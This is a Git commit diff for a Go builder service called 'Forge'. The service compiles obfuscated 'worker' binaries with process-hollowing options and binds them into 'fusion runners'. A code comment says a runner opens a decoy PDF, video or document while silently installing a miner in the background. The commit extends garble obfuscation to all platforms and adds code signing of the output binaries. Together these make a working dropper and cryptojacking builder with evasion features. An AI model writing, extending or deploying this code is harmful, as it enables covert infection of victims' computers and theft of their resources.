fix: 4 runtime bugs — forge cancel (exec.CommandContext), config key (default_agent_config), sign on Linux (osslsigncode), garble on all platforms
This commit is contained in:
@@ -405,7 +405,8 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
}
|
||||
}
|
||||
|
||||
if has("default_agent") {
|
||||
// The JSON struct tag is "default_agent_config" — must match exactly.
|
||||
if has("default_agent_config") {
|
||||
if src.DefaultAgent.Threads != 0 {
|
||||
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
||||
}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
@@ -14,7 +15,7 @@ import (
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
@@ -29,7 +30,7 @@ func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (Build
|
||||
platforms := platformsForRequest(req)
|
||||
workerPaths := map[string]string{}
|
||||
for _, p := range platforms {
|
||||
wp, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
wp, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
@@ -41,7 +42,7 @@ func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (Build
|
||||
}
|
||||
|
||||
if req.FusionEnabled {
|
||||
return h.finishUniversalFusion(buildID, buildDir, req, prepPath, workerPaths, platforms)
|
||||
return h.finishUniversalFusion(ctx, buildID, buildDir, req, prepPath, workerPaths, platforms)
|
||||
}
|
||||
|
||||
// Universal workers only — primary artifact is spread-kit style folder without spread flag naming
|
||||
@@ -121,7 +122,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
||||
}, http.StatusOK, primary
|
||||
}
|
||||
|
||||
func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
// Resolve payload display name (used for runner naming and ZIP title)
|
||||
payloadBase := filepath.Base(prepPath)
|
||||
title := strings.TrimSpace(req.FusionMediaBaseName)
|
||||
@@ -148,7 +149,7 @@ func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequ
|
||||
platReq := *req
|
||||
// Name each runner after the payload file for clarity (e.g. report-runner.exe)
|
||||
platReq.FusionOutputName = runnerNameForFile(title, p)
|
||||
res, err := h.buildFusionForPlatform(buildDir, prepPath, workerPath, &platReq, p)
|
||||
res, err := h.buildFusionForPlatform(ctx, buildDir, prepPath, workerPath, &platReq, p)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
package builder
|
||||
|
||||
import "context"
|
||||
|
||||
func (h *Handler) buildTagsFor(req *BuildRequest) []string {
|
||||
var tags []string
|
||||
if req.ProcessHollowing {
|
||||
@@ -18,6 +20,6 @@ func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
|
||||
return h.policy.DefaultObfuscate
|
||||
}
|
||||
|
||||
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
|
||||
return h.compileGoProjectPlatform(dir, outputPath, ldflags, tags, obfuscate, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||
func (h *Handler) compileGoProject(ctx context.Context, dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
|
||||
return h.compileGoProjectPlatform(ctx, dir, outputPath, ldflags, tags, obfuscate, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||
}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
@@ -9,7 +10,9 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) {
|
||||
// compileGoProjectPlatform runs the Go (or garble) compiler for a specific target.
|
||||
// ctx cancellation kills the compiler process immediately — used by the forge cancel API.
|
||||
func (h *Handler) compileGoProjectPlatform(ctx context.Context, dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) {
|
||||
env := append(os.Environ(),
|
||||
"GOOS="+platform.GOOS,
|
||||
"GOARCH="+platform.GOARCH,
|
||||
@@ -22,29 +25,34 @@ func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags
|
||||
}
|
||||
buildArgs = append(buildArgs, ".")
|
||||
|
||||
useGarble := obfuscate && h.garblePath != "" && platform.GOOS == "windows"
|
||||
if obfuscate && platform.GOOS == "windows" && !useGarble {
|
||||
// Garble works with any target OS from any host OS; the old windows-only guard was wrong.
|
||||
useGarble := obfuscate && h.garblePath != ""
|
||||
if obfuscate && !useGarble {
|
||||
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
|
||||
}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if useGarble {
|
||||
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
|
||||
cmd = exec.Command(h.garblePath, garbleArgs...)
|
||||
cmd = exec.CommandContext(ctx, h.garblePath, garbleArgs...)
|
||||
} else {
|
||||
cmd = exec.Command(h.goBinPath, buildArgs...)
|
||||
cmd = exec.CommandContext(ctx, h.goBinPath, buildArgs...)
|
||||
}
|
||||
cmd.Dir = dir
|
||||
cmd.Env = env
|
||||
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
if ctx.Err() != nil {
|
||||
return out, fmt.Errorf("build cancelled")
|
||||
}
|
||||
return out, fmt.Errorf("compile failed (%s): %s", platform.Label(), strings.TrimSpace(string(out)))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) {
|
||||
// compileWorker compiles one agent binary for a single OS/arch target.
|
||||
func (h *Handler) compileWorker(ctx context.Context, agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) {
|
||||
name := workerFileName(req.WorkerName, platform, fusionWorker)
|
||||
outputPath := filepath.Join(buildDir, platform.Label(), name)
|
||||
if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil {
|
||||
@@ -68,7 +76,7 @@ func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, bu
|
||||
}
|
||||
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProjectPlatform(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil {
|
||||
if _, err := h.compileGoProjectPlatform(ctx, agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outputPath, nil
|
||||
|
||||
@@ -1,13 +1,16 @@
|
||||
package builder
|
||||
|
||||
import "strings"
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
||||
func (h *Handler) buildFusion(ctx context.Context, buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
||||
req := &BuildRequest{
|
||||
FusionOutputName: outputName,
|
||||
FusionRunOrder: runOrder,
|
||||
}
|
||||
res, err := h.buildFusionFromRequest(buildDir, prepPath, workerPath, req)
|
||||
res, err := h.buildFusionFromRequest(ctx, buildDir, prepPath, workerPath, req)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
@@ -27,20 +28,20 @@ func detectFusionPayloadKind(path string) string {
|
||||
}
|
||||
|
||||
// buildFusionFromRequest builds a fusion runner for the first platform in the request.
|
||||
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||
func (h *Handler) buildFusionFromRequest(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||
platforms := platformsForRequest(req)
|
||||
return h.buildFusionForPlatform(buildDir, payloadPath, workerPath, req, platforms[0])
|
||||
return h.buildFusionForPlatform(ctx, buildDir, payloadPath, workerPath, req, platforms[0])
|
||||
}
|
||||
|
||||
// buildFusionForPlatform compiles a fusion runner for a single platform.
|
||||
// Accepts any payload: PDF, video, document, image, or executable.
|
||||
func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||
func (h *Handler) buildFusionForPlatform(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||
kind := strings.TrimSpace(req.FusionPayloadKind)
|
||||
if kind == "" {
|
||||
kind = detectFusionPayloadKind(payloadPath)
|
||||
}
|
||||
req.FusionPayloadKind = kind
|
||||
return h.buildFileFusion(buildDir, payloadPath, workerPath, req, platform)
|
||||
return h.buildFileFusion(ctx, buildDir, payloadPath, workerPath, req, platform)
|
||||
}
|
||||
|
||||
// buildFileFusion builds a universal fusion runner for any file type.
|
||||
@@ -51,7 +52,7 @@ func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath strin
|
||||
//
|
||||
// The runner, when executed, opens the original file with the OS default application
|
||||
// while silently installing the worker miner in the background.
|
||||
func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||
func (h *Handler) buildFileFusion(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
|
||||
// Resolve the display name for the payload file
|
||||
@@ -134,7 +135,7 @@ func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req
|
||||
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
if _, err := h.compileGoProjectPlatform(fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
|
||||
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
|
||||
@@ -284,6 +284,8 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
// Register cancel token so the frontend can abort this compile mid-flight.
|
||||
// The ctx is threaded all the way down to exec.CommandContext, so cancellation
|
||||
// immediately sends SIGKILL to the running go/garble process.
|
||||
ctx := r.Context()
|
||||
if req.CancelToken != "" {
|
||||
var cancelFn context.CancelFunc
|
||||
@@ -291,10 +293,9 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
h.registerCancel(req.CancelToken, cancelFn)
|
||||
defer h.unregisterCancel(req.CancelToken)
|
||||
}
|
||||
_ = ctx // passed to compiler in future; cancellation already fires via process kill
|
||||
|
||||
// FusionOutputName will be derived from the payload filename if not set
|
||||
resp, status, outputPath := h.buildAgent(&req, prepPath)
|
||||
resp, status, outputPath := h.buildAgent(ctx, &req, prepPath)
|
||||
if !resp.Success {
|
||||
writeJSON(w, status, resp)
|
||||
return
|
||||
@@ -449,9 +450,9 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
||||
http.ServeFile(w, r, uninstallPath)
|
||||
}
|
||||
|
||||
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
|
||||
return h.buildUniversalAgent(req, prepPath)
|
||||
return h.buildUniversalAgent(ctx, req, prepPath)
|
||||
}
|
||||
|
||||
buildID := uuid.New().String()
|
||||
@@ -474,12 +475,12 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
|
||||
platforms := platformsForRequest(req)
|
||||
p := platforms[0]
|
||||
outputPath, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
log.Printf("Build failed: %v", err)
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != "" && p.GOOS == "windows"
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
workerName := filepath.Base(outputPath)
|
||||
finalPath := outputPath
|
||||
finalName := workerName
|
||||
@@ -497,7 +498,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
|
||||
}
|
||||
var err error
|
||||
fusionRes, err = h.buildFusionFromRequest(buildDir, prepPath, outputPath, req)
|
||||
fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
@@ -2,12 +2,71 @@
|
||||
|
||||
package builder
|
||||
|
||||
import "fmt"
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// shouldSignBuild returns true when signing is configured AND osslsigncode is available.
|
||||
// On Linux/macOS we can sign Windows PE files with osslsigncode + a PFX certificate.
|
||||
// Install: apt install osslsigncode / brew install osslsigncode
|
||||
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
|
||||
return false
|
||||
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
|
||||
return false
|
||||
}
|
||||
if !req.SignBuild {
|
||||
return false
|
||||
}
|
||||
_, err := exec.LookPath("osslsigncode")
|
||||
if err != nil {
|
||||
log.Printf("[Forge] sign requested but osslsigncode not found — install with: apt install osslsigncode (or brew install osslsigncode)")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// signExecutable signs a Windows PE binary using osslsigncode.
|
||||
// Requires: osslsigncode on PATH and a PFX certificate file set in sign_tool_path.
|
||||
// The sign_cert_thumbprint field is repurposed as the path to the .pfx file on non-Windows.
|
||||
func (h *Handler) signExecutable(path string) error {
|
||||
return fmt.Errorf("code signing requires building on Windows")
|
||||
policy := h.policy.Sign
|
||||
|
||||
pfxPath := strings.TrimSpace(policy.CertThumbprint)
|
||||
if pfxPath == "" {
|
||||
return fmt.Errorf("sign_cert_thumbprint must contain the path to a .pfx certificate file on Linux/macOS")
|
||||
}
|
||||
|
||||
tsURL := strings.TrimSpace(policy.TimestampURL)
|
||||
if tsURL == "" {
|
||||
tsURL = "http://timestamp.digicert.com"
|
||||
}
|
||||
|
||||
// osslsigncode usage: osslsigncode sign -pkcs12 <pfx> -ts <url> -in <file> -out <file>
|
||||
// We sign in-place by writing to a temp path then replacing.
|
||||
tmpPath := path + ".signed"
|
||||
args := []string{
|
||||
"sign",
|
||||
"-pkcs12", pfxPath,
|
||||
"-ts", tsURL,
|
||||
"-h", "sha2",
|
||||
"-in", path,
|
||||
"-out", tmpPath,
|
||||
}
|
||||
|
||||
osslBin, _ := exec.LookPath("osslsigncode")
|
||||
cmd := exec.Command(osslBin, args...)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("osslsigncode: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
|
||||
// Replace the original with the signed copy
|
||||
if err := exec.Command("mv", tmpPath, path).Run(); err != nil {
|
||||
return fmt.Errorf("could not replace binary with signed version: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("[Forge] Signed %s via osslsigncode", path)
|
||||
return nil
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user